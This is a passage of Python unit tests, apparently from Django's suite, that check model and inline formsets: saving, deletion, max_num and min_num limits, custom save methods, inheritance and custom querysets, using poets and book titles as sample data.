            '<p><label for="id_form-2-name">Name:</label>'
            ' <input id="id_form-2-name" type="text" name="form-2-name" maxlength="100" />'
            '<input type="hidden" name="form-2-id" id="id_form-2-id" /></p>'
        )

        data = {
            'form-TOTAL_FORMS': '3',  # the number of forms rendered
            'form-INITIAL_FORMS': '0',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-name': 'Charles Baudelaire',
            'form-1-name': 'Arthur Rimbaud',
            'form-2-name': '',
        }

        formset = AuthorFormSet(data=data, queryset=qs)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 2)
        author1, author2 = saved
        self.assertEqual(author1, Author.objects.get(name='Charles Baudelaire'))
        self.assertEqual(author2, Author.objects.get(name='Arthur Rimbaud'))

        authors = list(Author.objects.order_by('name'))
        self.assertEqual(authors, [author2, author1])

        # Gah! We forgot Paul Verlaine. Let's create a formset to edit the
        # existing authors with an extra form to add him. We *could* pass in a
        # queryset to restrict the Author objects we edit, but in this case
        # we'll use it to display them in alphabetical order by name.

        qs = Author.objects.order_by('name')
        AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=1, can_delete=False)

        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 3)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-name">Name:</label>'
            '<input id="id_form-0-name" type="text" name="form-0-name" value="Arthur Rimbaud" maxlength="100" />'
            '<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /></p>' % author2.id
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_form-1-name">Name:</label>'
            '<input id="id_form-1-name" type="text" name="form-1-name" value="Charles Baudelaire" maxlength="100" />'
            '<input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" /></p>' % author1.id
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_form-2-name">Name:</label>'
            '<input id="id_form-2-name" type="text" name="form-2-name" maxlength="100" />'
            '<input type="hidden" name="form-2-id" id="id_form-2-id" /></p>'
        )

        data = {
            'form-TOTAL_FORMS': '3',  # the number of forms rendered
            'form-INITIAL_FORMS': '2',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-id': str(author2.id),
            'form-0-name': 'Arthur Rimbaud',
            'form-1-id': str(author1.id),
            'form-1-name': 'Charles Baudelaire',
            'form-2-name': 'Paul Verlaine',
        }

        formset = AuthorFormSet(data=data, queryset=qs)
        self.assertTrue(formset.is_valid())

        # Only changed or new objects are returned from formset.save()
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        author3 = saved[0]
        self.assertEqual(author3, Author.objects.get(name='Paul Verlaine'))

        authors = list(Author.objects.order_by('name'))
        self.assertEqual(authors, [author2, author1, author3])

        # This probably shouldn't happen, but it will. If an add form was
        # marked for deletion, make sure we don't save that form.

        qs = Author.objects.order_by('name')
        AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=1, can_delete=True)

        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 4)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-name">Name:</label>'
            '<input id="id_form-0-name" type="text" name="form-0-name" '
            'value="Arthur Rimbaud" maxlength="100" /></p>'
            '<p><label for="id_form-0-DELETE">Delete:</label>'
            '<input type="checkbox" name="form-0-DELETE" id="id_form-0-DELETE" />'
            '<input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /></p>' % author2.id
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_form-1-name">Name:</label>'
            '<input id="id_form-1-name" type="text" name="form-1-name" '
            'value="Charles Baudelaire" maxlength="100" /></p>'
            '<p><label for="id_form-1-DELETE">Delete:</label>'
            '<input type="checkbox" name="form-1-DELETE" id="id_form-1-DELETE" />'
            '<input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" /></p>' % author1.id
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_form-2-name">Name:</label>'
            '<input id="id_form-2-name" type="text" name="form-2-name" '
            'value="Paul Verlaine" maxlength="100" /></p>'
            '<p><label for="id_form-2-DELETE">Delete:</label>'
            '<input type="checkbox" name="form-2-DELETE" id="id_form-2-DELETE" />'
            '<input type="hidden" name="form-2-id" value="%d" id="id_form-2-id" /></p>' % author3.id
        )
        self.assertHTMLEqual(
            formset.forms[3].as_p(),
            '<p><label for="id_form-3-name">Name:</label>'
            '<input id="id_form-3-name" type="text" name="form-3-name" maxlength="100" /></p>'
            '<p><label for="id_form-3-DELETE">Delete:</label>'
            '<input type="checkbox" name="form-3-DELETE" id="id_form-3-DELETE" />'
            '<input type="hidden" name="form-3-id" id="id_form-3-id" /></p>'
        )

        data = {
            'form-TOTAL_FORMS': '4',  # the number of forms rendered
            'form-INITIAL_FORMS': '3',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-id': str(author2.id),
            'form-0-name': 'Arthur Rimbaud',
            'form-1-id': str(author1.id),
            'form-1-name': 'Charles Baudelaire',
            'form-2-id': str(author3.id),
            'form-2-name': 'Paul Verlaine',
            'form-3-name': 'Walt Whitman',
            'form-3-DELETE': 'on',
        }

        formset = AuthorFormSet(data=data, queryset=qs)
        self.assertTrue(formset.is_valid())

        # No objects were changed or saved so nothing will come back.

        self.assertEqual(formset.save(), [])

        authors = list(Author.objects.order_by('name'))
        self.assertEqual(authors, [author2, author1, author3])

        # Let's edit a record to ensure save only returns that one record.

        data = {
            'form-TOTAL_FORMS': '4',  # the number of forms rendered
            'form-INITIAL_FORMS': '3',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-id': str(author2.id),
            'form-0-name': 'Walt Whitman',
            'form-1-id': str(author1.id),
            'form-1-name': 'Charles Baudelaire',
            'form-2-id': str(author3.id),
            'form-2-name': 'Paul Verlaine',
            'form-3-name': '',
            'form-3-DELETE': '',
        }

        formset = AuthorFormSet(data=data, queryset=qs)
        self.assertTrue(formset.is_valid())

        # One record has changed.

        saved = formset.save()
        self.assertEqual(len(saved), 1)
        self.assertEqual(saved[0], Author.objects.get(name='Walt Whitman'))

    def test_commit_false(self):
        # Test the behavior of commit=False and save_m2m

        author1 = Author.objects.create(name='Charles Baudelaire')
        author2 = Author.objects.create(name='Paul Verlaine')
        author3 = Author.objects.create(name='Walt Whitman')

        meeting = AuthorMeeting.objects.create(created=date.today())
        meeting.authors.set(Author.objects.all())

        # create an Author instance to add to the meeting.

        author4 = Author.objects.create(name='John Steinbeck')

        AuthorMeetingFormSet = modelformset_factory(AuthorMeeting, fields="__all__", extra=1, can_delete=True)
        data = {
            'form-TOTAL_FORMS': '2',  # the number of forms rendered
            'form-INITIAL_FORMS': '1',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-id': str(meeting.id),
            'form-0-name': '2nd Tuesday of the Week Meeting',
            'form-0-authors': [author2.id, author1.id, author3.id, author4.id],
            'form-1-name': '',
            'form-1-authors': '',
            'form-1-DELETE': '',
        }
        formset = AuthorMeetingFormSet(data=data, queryset=AuthorMeeting.objects.all())
        self.assertTrue(formset.is_valid())

        instances = formset.save(commit=False)
        for instance in instances:
            instance.created = date.today()
            instance.save()
        formset.save_m2m()
        self.assertQuerysetEqual(instances[0].authors.all(), [
            '<Author: Charles Baudelaire>',
            '<Author: John Steinbeck>',
            '<Author: Paul Verlaine>',
            '<Author: Walt Whitman>',
        ])

    def test_max_num(self):
        # Test the behavior of max_num with model formsets. It should allow
        # all existing related objects/inlines for a given object to be
        # displayed, but not allow the creation of new inlines beyond max_num.

        Author.objects.create(name='Charles Baudelaire')
        Author.objects.create(name='Paul Verlaine')
        Author.objects.create(name='Walt Whitman')

        qs = Author.objects.order_by('name')

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=None, extra=3)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 6)
        self.assertEqual(len(formset.extra_forms), 3)

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=4, extra=3)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 4)
        self.assertEqual(len(formset.extra_forms), 1)

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=0, extra=3)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 3)
        self.assertEqual(len(formset.extra_forms), 0)

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=None)
        formset = AuthorFormSet(queryset=qs)
        self.assertQuerysetEqual(formset.get_queryset(), [
            '<Author: Charles Baudelaire>',
            '<Author: Paul Verlaine>',
            '<Author: Walt Whitman>',
        ])

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=0)
        formset = AuthorFormSet(queryset=qs)
        self.assertQuerysetEqual(formset.get_queryset(), [
            '<Author: Charles Baudelaire>',
            '<Author: Paul Verlaine>',
            '<Author: Walt Whitman>',
        ])

        AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=4)
        formset = AuthorFormSet(queryset=qs)
        self.assertQuerysetEqual(formset.get_queryset(), [
            '<Author: Charles Baudelaire>',
            '<Author: Paul Verlaine>',
            '<Author: Walt Whitman>',
        ])

    def test_min_num(self):
        # Test the behavior of min_num with model formsets. It should be
        # added to extra.
        qs = Author.objects.none()

        AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=0)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 0)

        AuthorFormSet = modelformset_factory(Author, fields="__all__", min_num=1, extra=0)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 1)

        AuthorFormSet = modelformset_factory(Author, fields="__all__", min_num=1, extra=1)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 2)

    def test_min_num_with_existing(self):
        # Test the behavior of min_num with existing objects.
        Author.objects.create(name='Charles Baudelaire')
        qs = Author.objects.all()

        AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=0, min_num=1)
        formset = AuthorFormSet(queryset=qs)
        self.assertEqual(len(formset.forms), 1)

    def test_custom_save_method(self):
        class PoetForm(forms.ModelForm):
            def save(self, commit=True):
                # change the name to "Vladimir Mayakovsky" just to be a jerk.
                author = super(PoetForm, self).save(commit=False)
                author.name = "Vladimir Mayakovsky"
                if commit:
                    author.save()
                return author

        PoetFormSet = modelformset_factory(Poet, fields="__all__", form=PoetForm)

        data = {
            'form-TOTAL_FORMS': '3',  # the number of forms rendered
            'form-INITIAL_FORMS': '0',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-name': 'Walt Whitman',
            'form-1-name': 'Charles Baudelaire',
            'form-2-name': '',
        }

        qs = Poet.objects.all()
        formset = PoetFormSet(data=data, queryset=qs)
        self.assertTrue(formset.is_valid())

        poets = formset.save()
        self.assertEqual(len(poets), 2)
        poet1, poet2 = poets
        self.assertEqual(poet1.name, 'Vladimir Mayakovsky')
        self.assertEqual(poet2.name, 'Vladimir Mayakovsky')

    def test_custom_form(self):
        """ Test that model_formset respects fields and exclude parameters of
            custom form
        """
        class PostForm1(forms.ModelForm):
            class Meta:
                model = Post
                fields = ('title', 'posted')

        class PostForm2(forms.ModelForm):
            class Meta:
                model = Post
                exclude = ('subtitle',)

        PostFormSet = modelformset_factory(Post, form=PostForm1)
        formset = PostFormSet()
        self.assertNotIn("subtitle", formset.forms[0].fields)

        PostFormSet = modelformset_factory(Post, form=PostForm2)
        formset = PostFormSet()
        self.assertNotIn("subtitle", formset.forms[0].fields)

    def test_custom_queryset_init(self):
        """
        Test that a queryset can be overridden in the __init__ method.
        https://docs.djangoproject.com/en/dev/topics/forms/modelforms/#changing-the-queryset
        """
        Author.objects.create(name='Charles Baudelaire')
        Author.objects.create(name='Paul Verlaine')

        class BaseAuthorFormSet(BaseModelFormSet):
            def __init__(self, *args, **kwargs):
                super(BaseAuthorFormSet, self).__init__(*args, **kwargs)
                self.queryset = Author.objects.filter(name__startswith='Charles')

        AuthorFormSet = modelformset_factory(Author, fields='__all__', formset=BaseAuthorFormSet)
        formset = AuthorFormSet()
        self.assertEqual(len(formset.get_queryset()), 1)

    def test_model_inheritance(self):
        BetterAuthorFormSet = modelformset_factory(BetterAuthor, fields="__all__")
        formset = BetterAuthorFormSet()
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-name">Name:</label>'
            '<input id="id_form-0-name" type="text" name="form-0-name" maxlength="100" /></p>'
            '<p><label for="id_form-0-write_speed">Write speed:</label>'
            '<input type="number" name="form-0-write_speed" id="id_form-0-write_speed" />'
            '<input type="hidden" name="form-0-author_ptr" id="id_form-0-author_ptr" /></p>'
        )

        data = {
            'form-TOTAL_FORMS': '1',  # the number of forms rendered
            'form-INITIAL_FORMS': '0',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-author_ptr': '',
            'form-0-name': 'Ernest Hemingway',
            'form-0-write_speed': '10',
        }

        formset = BetterAuthorFormSet(data)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        author1, = saved
        self.assertEqual(author1, BetterAuthor.objects.get(name='Ernest Hemingway'))
        hemingway_id = BetterAuthor.objects.get(name="Ernest Hemingway").pk

        formset = BetterAuthorFormSet()
        self.assertEqual(len(formset.forms), 2)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-name">Name:</label>'
            '<input id="id_form-0-name" type="text" name="form-0-name" value="Ernest Hemingway" maxlength="100" /></p>'
            '<p><label for="id_form-0-write_speed">Write speed:</label>'
            '<input type="number" name="form-0-write_speed" value="10" id="id_form-0-write_speed" />'
            '<input type="hidden" name="form-0-author_ptr" value="%d" id="id_form-0-author_ptr" /></p>' % hemingway_id
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_form-1-name">Name:</label>'
            '<input id="id_form-1-name" type="text" name="form-1-name" maxlength="100" /></p>'
            '<p><label for="id_form-1-write_speed">Write speed:</label>'
            '<input type="number" name="form-1-write_speed" id="id_form-1-write_speed" />'
            '<input type="hidden" name="form-1-author_ptr" id="id_form-1-author_ptr" /></p>'
        )

        data = {
            'form-TOTAL_FORMS': '2',  # the number of forms rendered
            'form-INITIAL_FORMS': '1',  # the number of forms with initial data
            'form-MAX_NUM_FORMS': '',  # the max number of forms
            'form-0-author_ptr': hemingway_id,
            'form-0-name': 'Ernest Hemingway',
            'form-0-write_speed': '10',
            'form-1-author_ptr': '',
            'form-1-name': '',
            'form-1-write_speed': '',
        }

        formset = BetterAuthorFormSet(data)
        self.assertTrue(formset.is_valid())
        self.assertEqual(formset.save(), [])

    def test_inline_formsets(self):
        # We can also create a formset that is tied to a parent model. This is
        # how the admin system's edit inline functionality works.

        AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=3, fields="__all__")
        author = Author.objects.create(name='Charles Baudelaire')

        formset = AuthorBooksFormSet(instance=author)
        self.assertEqual(len(formset.forms), 3)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_book_set-0-title">Title:</label> <input id="id_book_set-0-title" type="text" '
            'name="book_set-0-title" maxlength="100" /><input type="hidden" name="book_set-0-author" value="%d" '
            'id="id_book_set-0-author" /><input type="hidden" name="book_set-0-id" id="id_book_set-0-id" />'
            '</p>' % author.id
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_book_set-1-title">Title:</label>'
            '<input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" />'
            '<input type="hidden" name="book_set-1-author" value="%d" id="id_book_set-1-author" />'
            '<input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>' % author.id
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_book_set-2-title">Title:</label>'
            '<input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" />'
            '<input type="hidden" name="book_set-2-author" value="%d" id="id_book_set-2-author" />'
            '<input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>' % author.id
        )

        data = {
            'book_set-TOTAL_FORMS': '3',  # the number of forms rendered
            'book_set-INITIAL_FORMS': '0',  # the number of forms with initial data
            'book_set-MAX_NUM_FORMS': '',  # the max number of forms
            'book_set-0-title': 'Les Fleurs du Mal',
            'book_set-1-title': '',
            'book_set-2-title': '',
        }

        formset = AuthorBooksFormSet(data, instance=author)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 1)
        book1, = saved
        self.assertEqual(book1, Book.objects.get(title='Les Fleurs du Mal'))
        self.assertQuerysetEqual(author.book_set.all(), ['<Book: Les Fleurs du Mal>'])

        # Now that we've added a book to Charles Baudelaire, let's try adding
        # another one. This time though, an edit form will be available for
        # every existing book.

        AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__")
        author = Author.objects.get(name='Charles Baudelaire')

        formset = AuthorBooksFormSet(instance=author)
        self.assertEqual(len(formset.forms), 3)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_book_set-0-title">Title:</label>'
            '<input id="id_book_set-0-title" type="text" name="book_set-0-title" '
            'value="Les Fleurs du Mal" maxlength="100" />'
            '<input type="hidden" name="book_set-0-author" value="%d" id="id_book_set-0-author" />'
            '<input type="hidden" name="book_set-0-id" value="%d" id="id_book_set-0-id" /></p>' % (
                author.id, book1.id,
            )
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_book_set-1-title">Title:</label>'
            '<input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" />'
            '<input type="hidden" name="book_set-1-author" value="%d" id="id_book_set-1-author" />'
            '<input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>' % author.id
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_book_set-2-title">Title:</label>'
            '<input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" />'
            '<input type="hidden" name="book_set-2-author" value="%d" id="id_book_set-2-author" />'
            '<input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>' % author.id
        )

        data = {
            'book_set-TOTAL_FORMS': '3',  # the number of forms rendered
            'book_set-INITIAL_FORMS': '1',  # the number of forms with initial data
            'book_set-MAX_NUM_FORMS': '',  # the max number of forms
            'book_set-0-id': str(book1.id),
            'book_set-0-title': 'Les Fleurs du Mal',
            'book_set-1-title': 'Les Paradis Artificiels',
            'book_set-2-title': '',
        }

        formset = AuthorBooksFormSet(data, instance=author)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 1)
        book2, = saved
        self.assertEqual(book2, Book.objects.get(title='Les Paradis Artificiels'))

        # As you can see, 'Les Paradis Artificiels' is now a book belonging to
        # Charles Baudelaire.
        self.assertQuerysetEqual(author.book_set.order_by('title'), [
            '<Book: Les Fleurs du Mal>',
            '<Book: Les Paradis Artificiels>',
        ])

    def test_inline_formsets_save_as_new(self):
        # The save_as_new parameter lets you re-associate the data to a new
        # instance.  This is used in the admin for save_as functionality.
        AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__")
        Author.objects.create(name='Charles Baudelaire')

        data = {
            'book_set-TOTAL_FORMS': '3',  # the number of forms rendered
            'book_set-INITIAL_FORMS': '2',  # the number of forms with initial data
            'book_set-MAX_NUM_FORMS': '',  # the max number of forms
            'book_set-0-id': '1',
            'book_set-0-title': 'Les Fleurs du Mal',
            'book_set-1-id': '2',
            'book_set-1-title': 'Les Paradis Artificiels',
            'book_set-2-title': '',
        }

        formset = AuthorBooksFormSet(data, instance=Author(), save_as_new=True)
        self.assertTrue(formset.is_valid())

        new_author = Author.objects.create(name='Charles Baudelaire')
        formset = AuthorBooksFormSet(data, instance=new_author, save_as_new=True)
        saved = formset.save()
        self.assertEqual(len(saved), 2)
        book1, book2 = saved
        self.assertEqual(book1.title, 'Les Fleurs du Mal')
        self.assertEqual(book2.title, 'Les Paradis Artificiels')

        # Test using a custom prefix on an inline formset.

        formset = AuthorBooksFormSet(prefix="test")
        self.assertEqual(len(formset.forms), 2)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_test-0-title">Title:</label>'
            '<input id="id_test-0-title" type="text" name="test-0-title" maxlength="100" />'
            '<input type="hidden" name="test-0-author" id="id_test-0-author" />'
            '<input type="hidden" name="test-0-id" id="id_test-0-id" /></p>'
        )

        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_test-1-title">Title:</label>'
            '<input id="id_test-1-title" type="text" name="test-1-title" maxlength="100" />'
            '<input type="hidden" name="test-1-author" id="id_test-1-author" />'
            '<input type="hidden" name="test-1-id" id="id_test-1-id" /></p>'
        )

    def test_inline_formsets_with_custom_pk(self):
        # Test inline formsets where the inline-edited object has a custom
        # primary key that is not the fk to the parent object.
        self.maxDiff = 1024

        AuthorBooksFormSet2 = inlineformset_factory(
            Author, BookWithCustomPK, can_delete=False, extra=1, fields="__all__"
        )
        author = Author.objects.create(pk=1, name='Charles Baudelaire')

        formset = AuthorBooksFormSet2(instance=author)
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_bookwithcustompk_set-0-my_pk">My pk:</label>'
            '<input id="id_bookwithcustompk_set-0-my_pk" type="number" '
            'name="bookwithcustompk_set-0-my_pk" step="1" /></p>'
            '<p><label for="id_bookwithcustompk_set-0-title">Title:</label>'
            '<input id="id_bookwithcustompk_set-0-title" type="text" '
            'name="bookwithcustompk_set-0-title" maxlength="100" />'
            '<input type="hidden" name="bookwithcustompk_set-0-author" '
            'value="1" id="id_bookwithcustompk_set-0-author" /></p>'
        )

        data = {
            'bookwithcustompk_set-TOTAL_FORMS': '1',  # the number of forms rendered
            'bookwithcustompk_set-INITIAL_FORMS': '0',  # the number of forms with initial data
            'bookwithcustompk_set-MAX_NUM_FORMS': '',  # the max number of forms
            'bookwithcustompk_set-0-my_pk': '77777',
            'bookwithcustompk_set-0-title': 'Les Fleurs du Mal',
        }

        formset = AuthorBooksFormSet2(data, instance=author)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 1)
        book1, = saved
        self.assertEqual(book1.pk, 77777)

        book1 = author.bookwithcustompk_set.get()
        self.assertEqual(book1.title, 'Les Fleurs du Mal')

    def test_inline_formsets_with_multi_table_inheritance(self):
        # Test inline formsets where the inline-edited object uses multi-table
        # inheritance, thus has a non AutoField yet auto-created primary key.

        AuthorBooksFormSet3 = inlineformset_factory(Author, AlternateBook, can_delete=False, extra=1, fields="__all__")
        author = Author.objects.create(pk=1, name='Charles Baudelaire')

        formset = AuthorBooksFormSet3(instance=author)
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_alternatebook_set-0-title">Title:</label>'
            '<input id="id_alternatebook_set-0-title" type="text" '
            'name="alternatebook_set-0-title" maxlength="100" /></p>'
            '<p><label for="id_alternatebook_set-0-notes">Notes:</label>'
            '<input id="id_alternatebook_set-0-notes" type="text" '
            'name="alternatebook_set-0-notes" maxlength="100" />'
            '<input type="hidden" name="alternatebook_set-0-author" value="1" '
            'id="id_alternatebook_set-0-author" />'
            '<input type="hidden" name="alternatebook_set-0-book_ptr" '
            'id="id_alternatebook_set-0-book_ptr" /></p>'
        )

        data = {
            'alternatebook_set-TOTAL_FORMS': '1',  # the number of forms rendered
            'alternatebook_set-INITIAL_FORMS': '0',  # the number of forms with initial data
            'alternatebook_set-MAX_NUM_FORMS': '',  # the max number of forms
            'alternatebook_set-0-title': 'Flowers of Evil',
            'alternatebook_set-0-notes': 'English translation of Les Fleurs du Mal'
        }

        formset = AuthorBooksFormSet3(data, instance=author)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 1)
        book1, = saved
        self.assertEqual(book1.title, 'Flowers of Evil')
        self.assertEqual(book1.notes, 'English translation of Les Fleurs du Mal')

    @skipUnlessDBFeature('supports_partially_nullable_unique_constraints')
    def test_inline_formsets_with_nullable_unique_together(self):
        # Test inline formsets where the inline-edited object has a
        # unique_together constraint with a nullable member

        AuthorBooksFormSet4 = inlineformset_factory(
            Author, BookWithOptionalAltEditor, can_delete=False, extra=2, fields="__all__"
        )
        author = Author.objects.create(pk=1, name='Charles Baudelaire')

        data = {
            'bookwithoptionalalteditor_set-TOTAL_FORMS': '2',  # the number of forms rendered
            'bookwithoptionalalteditor_set-INITIAL_FORMS': '0',  # the number of forms with initial data
            'bookwithoptionalalteditor_set-MAX_NUM_FORMS': '',  # the max number of forms
            'bookwithoptionalalteditor_set-0-author': '1',
            'bookwithoptionalalteditor_set-0-title': 'Les Fleurs du Mal',
            'bookwithoptionalalteditor_set-1-author': '1',
            'bookwithoptionalalteditor_set-1-title': 'Les Fleurs du Mal',
        }
        formset = AuthorBooksFormSet4(data, instance=author)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 2)
        book1, book2 = saved
        self.assertEqual(book1.author_id, 1)
        self.assertEqual(book1.title, 'Les Fleurs du Mal')
        self.assertEqual(book2.author_id, 1)
        self.assertEqual(book2.title, 'Les Fleurs du Mal')

    def test_inline_formsets_with_custom_save_method(self):
        AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__")
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        book1 = Book.objects.create(pk=1, author=author, title='Les Paradis Artificiels')
        book2 = Book.objects.create(pk=2, author=author, title='Les Fleurs du Mal')
        book3 = Book.objects.create(pk=3, author=author, title='Flowers of Evil')

        class PoemForm(forms.ModelForm):
            def save(self, commit=True):
                # change the name to "Brooklyn Bridge" just to be a jerk.
                poem = super(PoemForm, self).save(commit=False)
                poem.name = "Brooklyn Bridge"
                if commit:
                    poem.save()
                return poem

        PoemFormSet = inlineformset_factory(Poet, Poem, form=PoemForm, fields="__all__")

        data = {
            'poem_set-TOTAL_FORMS': '3',  # the number of forms rendered
            'poem_set-INITIAL_FORMS': '0',  # the number of forms with initial data
            'poem_set-MAX_NUM_FORMS': '',  # the max number of forms
            'poem_set-0-name': 'The Cloud in Trousers',
            'poem_set-1-name': 'I',
            'poem_set-2-name': '',
        }

        poet = Poet.objects.create(name='Vladimir Mayakovsky')
        formset = PoemFormSet(data=data, instance=poet)
        self.assertTrue(formset.is_valid())

        saved = formset.save()
        self.assertEqual(len(saved), 2)
        poem1, poem2 = saved
        self.assertEqual(poem1.name, 'Brooklyn Bridge')
        self.assertEqual(poem2.name, 'Brooklyn Bridge')

        # We can provide a custom queryset to our InlineFormSet:

        custom_qs = Book.objects.order_by('-title')
        formset = AuthorBooksFormSet(instance=author, queryset=custom_qs)
        self.assertEqual(len(formset.forms), 5)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_book_set-0-title">Title:</label>'
            '<input id="id_book_set-0-title" type="text" name="book_set-0-title" '
            'value="Les Paradis Artificiels" maxlength="100" />'
            '<input type="hidden" name="book_set-0-author" value="1" id="id_book_set-0-author" />'
            '<input type="hidden" name="book_set-0-id" value="1" id="id_book_set-0-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_book_set-1-title">Title:</label>'
            '<input id="id_book_set-1-title" type="text" name="book_set-1-title" '
            'value="Les Fleurs du Mal" maxlength="100" />'
            '<input type="hidden" name="book_set-1-author" value="1" id="id_book_set-1-author" />'
            '<input type="hidden" name="book_set-1-id" value="2" id="id_book_set-1-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_book_set-2-title">Title:</label>'
            '<input id="id_book_set-2-title" type="text" name="book_set-2-title" '
            'value="Flowers of Evil" maxlength="100" />'
            '<input type="hidden" name="book_set-2-author" value="1" id="id_book_set-2-author" />'
            '<input type="hidden" name="book_set-2-id" value="3" id="id_book_set-2-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[3].as_p(),
            '<p><label for="id_book_set-3-title">Title:</label>'
            '<input id="id_book_set-3-title" type="text" name="book_set-3-title" maxlength="100" />'
            '<input type="hidden" name="book_set-3-author" value="1" id="id_book_set-3-author" />'
            '<input type="hidden" name="book_set-3-id" id="id_book_set-3-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[4].as_p(),
            '<p><label for="id_book_set-4-title">Title:</label>'
            '<input id="id_book_set-4-title" type="text" name="book_set-4-title" maxlength="100" />'
            '<input type="hidden" name="book_set-4-author" value="1" id="id_book_set-4-author" />'
            '<input type="hidden" name="book_set-4-id" id="id_book_set-4-id" /></p>'
        )

        data = {
            'book_set-TOTAL_FORMS': '5',  # the number of forms rendered
            'book_set-INITIAL_FORMS': '3',  # the number of forms with initial data
            'book_set-MAX_NUM_FORMS': '',  # the max number of forms
            'book_set-0-id': str(book1.id),
            'book_set-0-title': 'Les Paradis Artificiels',
            'book_set-1-id': str(book2.id),
            'book_set-1-title': 'Les Fleurs du Mal',
            'book_set-2-id': str(book3.id),
            'book_set-2-title': 'Flowers of Evil',
            'book_set-3-title': 'Revue des deux mondes',
            'book_set-4-title': '',
        }
        formset = AuthorBooksFormSet(data, instance=author, queryset=custom_qs)
        self.assertTrue(formset.is_valid())

        custom_qs = Book.objects.filter(title__startswith='F')
        formset = AuthorBooksFormSet(instance=author, queryset=custom_qs)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
